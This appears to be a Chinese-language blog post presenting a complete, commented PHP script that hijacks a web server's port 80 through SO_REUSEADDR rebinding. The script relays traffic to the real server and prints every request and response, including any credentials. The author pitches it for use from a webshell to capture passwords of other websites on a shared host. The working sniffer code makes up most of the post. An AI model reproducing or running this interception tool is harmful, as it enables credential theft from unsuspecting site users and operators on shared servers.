利用php來(lái)嗅探劫持服務(wù)器數(shù)據(jù)

前幾天刺在我們的maillist發(fā)了一個(gè)老外寫的文章,大意是可以用php來(lái)實(shí)現(xiàn)數(shù)據(jù)的劫持和轉(zhuǎn)發(fā)。我瞄了一下,確實(shí)可行,于是今天抽出了以前用來(lái)扯淡的時(shí)間,寫了段代碼驗(yàn)證了一下想法。老外的原文是一個(gè)PDF,有興趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其實(shí)關(guān)于這個(gè)的原理,我記得很早很早之前flashsky就在xfocus上面貼過(guò)通過(guò)SO_REUSEADDR實(shí)現(xiàn)端口重復(fù)綁定的,mix還寫過(guò)一個(gè) guest權(quán)限嗅探密碼的。我這里比較不同的是用php實(shí)現(xiàn)的,可以在webshell里面用,當(dāng)然我沒(méi)有測(cè)試過(guò),我沒(méi)shell。
需要注意的是,這個(gè)東西和以前的《PHP下實(shí)現(xiàn)端口復(fù)用/劫持》是完全不一樣的,那個(gè)文章可以在這里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于為什么不一樣,我就不說(shuō)了。
代碼我注釋得很詳細(xì),個(gè)人覺(jué)得寫得還不錯(cuò),不細(xì)說(shuō)。這里大概說(shuō)一下技術(shù)上的難點(diǎn)。首先是在web里面,沒(méi)有多線程也沒(méi)有多進(jìn)程,但是每一個(gè)新連接進(jìn)來(lái)就要去處理,應(yīng)該怎么做?顯然不能順序執(zhí)行,因?yàn)楣鈇ccept那里就會(huì)被阻塞住的,而且后面每一個(gè)session也需要分別處理的。還好查手冊(cè)發(fā)現(xiàn)經(jīng)典的socket_select函數(shù)可用,有這個(gè)就好說(shuō)了,專業(yè)實(shí)現(xiàn)多路復(fù)用的。
PHP代碼如下,有詳細(xì)注釋。blog貼的,所以代碼可能會(huì)掉些東西,其他的支持我就不提供了,看代碼:
<?php
class select
{
var $sockets;
// 構(gòu)造函數(shù)
function select($sockets)
{
$this->sockets = array();
foreach($sockets as $socket)
{
$this->add($socket);
}
}
function add($add_socket)
{
//array_push($this->sockets, $add_socket);
$this->sockets[] = $add_socket;
}
// 利用臨時(shí)數(shù)組來(lái)刪除數(shù)組中的元素
function remove($remove_socket)
{
$tmp_sockets = array();
foreach($this->sockets as $socket)
{
if($remove_socket != $socket)
{
$tmp_sockets[] = $socket;
}
}
$this->sockets = $tmp_sockets;
}
// 檢查socket數(shù)組是否可讀,傳入超時(shí)時(shí)間,返回socket數(shù)組
function can_read($timeout)
{
$read = $this->sockets;
socket_select( $read, $write = NULL, $except = NULL, $timeout );
return $read;
}
// 檢查socket數(shù)組是否可寫,傳入超時(shí)時(shí)間,返回socket數(shù)組
function can_write($timeout)
{
$write = $this->sockets;
socket_select( $read = NULL, $write, $except = NULL, $timeout );
return $write;
}
}
// 網(wǎng)頁(yè)不超時(shí)
set_time_limit(0);
// 即時(shí)輸出數(shù)據(jù),不緩沖
ob_end_clean();
ob_implicit_flush(true);
if( !isset($_GET["listen_ip"]) )
{
exit;
}
if( $_GET["listen_ip"] == "" )
{
exit;
}
$listen_ip = $_GET["listen_ip"];
$listen_port = 80;
// 建立socket
$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 設(shè)置重復(fù)綁定
socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);
// 明確指定綁定IP地址,優(yōu)先獲取數(shù)據(jù)
socket_bind($listen_sock, $listen_ip, $listen_port);
// 開(kāi)始監(jiān)聽(tīng)
socket_listen ($listen_sock);
echo "listen on ".htmlentities($listen_ip)." :".$listen_port."<br />";
// 創(chuàng)建socket數(shù)組,使用select來(lái)輪詢
$check_socks = array($listen_sock);
// 映射客戶端socket和服務(wù)端socket
// $socket_maps1將客戶端socket作為key
// $socket_maps2將服務(wù)端socket作為key
// 以內(nèi)存換速度,并且方便下面的搜索
$socket_maps1 = array( );
$socket_maps2 = array( );
// 實(shí)例化select類
$select = new select( $check_socks );
while(true)
{
/*
print_r( $socket_maps );
print "<br />";
*/
// select輪詢,超時(shí)2秒
foreach ($select->can_read(1) as $socket)
{
// listen_sock可讀,說(shuō)明有人連接上來(lái)了
if( $socket == $listen_sock )
{
// 接受新連接,并加入到輪訓(xùn)數(shù)組
$new_client = socket_accept($listen_sock);
$select->add($new_client);
socket_getpeername($new_client, $ip, $port);
echo "New client connected: $ip, $port<br />";
// 建立到真實(shí)服務(wù)器的socket
$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($server_sock,"127.0.0.1", $listen_port);
// 建立真實(shí)服務(wù)器socket和真實(shí)客戶端socket之間的映射關(guān)系
$socket_maps1[$new_client] = $server_sock;
$socket_maps2[$server_sock] = $new_client;
// 添加到select輪詢中
$select->add($server_sock);
// $listen_sock的可讀數(shù)據(jù)是因?yàn)橛行逻B接,已經(jīng)處理了。暫時(shí)去掉,因?yàn)橄旅骈_(kāi)始處理數(shù)據(jù)轉(zhuǎn)發(fā)
//select->remove( $listen_sock );
}
// 其他socket可讀,表示有數(shù)據(jù)需要中轉(zhuǎn)
else
{
// 讀取數(shù)據(jù),失敗則從輪詢socket中刪除,并關(guān)閉socket
$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
if ($client_data === false)
{
socket_close( $socket );
$select->remove( $socket );
echo "client disconnected.<br />";
continue;
}
// 如果socket在$socket_maps1的key中,說(shuō)明是從客戶端讀到了數(shù)據(jù)
if( in_array( $socket, array_keys($socket_maps1)) )
{
//echo "readed from client.<br />";
if( ! socket_write( $socket_maps1[$socket], $client_data ) )
{
socket_close( $socket );
socket_close( $socket_maps1[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps1[$socket] );
print "Write to server error.<br />";
}
print htmlentities($client_data)."</b><br />";
}
// 否則如果socket在$socket_maps2的key中,說(shuō)明是從真正的web服務(wù)器讀到了數(shù)據(jù)
elseif( in_array( $socket, array_keys($socket_maps2) ) )
{
//echo "readed from server.<br />";
if( ! socket_write( $socket_maps2[$socket], $client_data ) )
{
socket_close( $socket );
socket_close( $socket_maps2[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps2[$socket] );
print "Write to client error.<br />";
}
print htmlentities($client_data)."</b><br />";
}
}
}
}
?>
這個(gè)東西有什么作用?自由發(fā)揮。也許你有一個(gè)webshell,但是卻想知道同一個(gè)服務(wù)器上面別人網(wǎng)站的密碼……我是在windows xp+apache測(cè)試的,據(jù)我所知windows2003默認(rèn)已經(jīng)不準(zhǔn)重復(fù)綁定端口了。
相關(guān)文章
封UDP的服務(wù)器真的打不了么?封UDP、封海外服務(wù)器
很多游戲服務(wù)器租用的時(shí)候會(huì)出現(xiàn)一些封UDP的字眼,網(wǎng)上一些文章也說(shuō)UDP協(xié)議不可靠!為什么要封UDP呢?既然不可靠,為什么有些人還要使用它呢?今天與你們分享一下UDP,希望2024-05-07魔獸世界服務(wù)器被DDoS攻擊怎么辦?DDoS攻擊防御方法
魔獸世界服務(wù)器被攻擊在目前來(lái)說(shuō)也是比較常見(jiàn)的,同行競(jìng)爭(zhēng)激烈,在官服開(kāi)放時(shí)也遇到過(guò)DDOS攻擊,要是飛飛沒(méi)記錯(cuò)是在22年9月14日,從剛開(kāi)始的身份驗(yàn)證服務(wù)器出現(xiàn)問(wèn)題,到確2023-07-17分享五大免費(fèi)企業(yè)網(wǎng)絡(luò)入侵檢測(cè)(IDS)工具
這篇文章主要分享一下五大免費(fèi)企業(yè)網(wǎng)絡(luò)入侵檢測(cè)(IDS)工具,當(dāng)前企業(yè)對(duì)于網(wǎng)絡(luò)安全越來(lái)越重視,那么后期可能就需要大家多多關(guān)注一些安全工具的使用于檢測(cè)2019-12-01網(wǎng)絡(luò)安全基礎(chǔ)之網(wǎng)絡(luò)協(xié)議與安全威脅的關(guān)系介紹
網(wǎng)絡(luò)協(xié)議是什么呢?網(wǎng)絡(luò)協(xié)議是網(wǎng)絡(luò)中計(jì)算機(jī)或設(shè)備之間進(jìn)行通信的一系列規(guī)則集合。本文中小編介紹的是網(wǎng)絡(luò)協(xié)議和安全威脅的關(guān)系,需要的朋友不妨閱讀本文了解一下2019-04-02DDoS攻擊原理是什么?DDoS攻擊原理及防護(hù)措施介紹
DDoS攻擊是由DoS攻擊轉(zhuǎn)化的,這項(xiàng)攻擊的原理以及表現(xiàn)形式是怎樣的呢?要如何的進(jìn)行防御呢?本文中將會(huì)有詳細(xì)的介紹,需要的朋友不妨閱讀本文進(jìn)行參考2019-01-15基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設(shè)備介紹
本文中介紹的是基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設(shè)備,感興趣的朋友不妨閱讀本文進(jìn)行了解2019-01-11為何黑客要挾制路由器DNS 用戶該怎樣實(shí)時(shí)發(fā)覺(jué)和防備方法
起首說(shuō)說(shuō)挾制路由器是什么意思,路由器挾制平日指的是,開(kāi)啟了無(wú)線網(wǎng)絡(luò)功效的無(wú)線路由器,攻擊者經(jīng)由過(guò)程破解無(wú)線暗碼銜接上無(wú)線網(wǎng)后,再登錄路由治理界面來(lái)節(jié)制全部無(wú)線網(wǎng)2018-05-16大勢(shì)至共享文件監(jiān)控軟件、共享文件權(quán)限管理軟件主控端與客戶端的連接設(shè)
這篇文章主要介紹了大勢(shì)至共享文件監(jiān)控軟件、共享文件權(quán)限管理軟件主控端與客戶端的連接設(shè)置方法詳解,,小編覺(jué)得還是挺不錯(cuò)的,具有一定借鑒價(jià)值,下面就來(lái)和小編一起看看2018-01-25詳細(xì)介紹sd卡加密軟件的選擇以及給sd卡設(shè)置密碼、給sd卡加密
這篇文章主要介紹了詳細(xì)介紹sd卡加密軟件的選擇以及給sd卡設(shè)置密碼、給sd卡加密,如何保護(hù)sd卡文件的安全,如何給SD卡設(shè)置密碼、如何給SD卡加密,下面就跟小編一起來(lái)看看吧2018-01-19server2008共享設(shè)置、服務(wù)器共享文件設(shè)置、服務(wù)器設(shè)置共享文件夾的方法
這篇文章主要介紹了server2008共享設(shè)置、服務(wù)器共享文件設(shè)置、服務(wù)器設(shè)置共享文件夾的方法詳細(xì)介紹,保護(hù)服務(wù)器共享文件設(shè)置訪問(wèn)權(quán)限,讓每個(gè)部門只訪問(wèn)自己的共享文件等,2018-01-19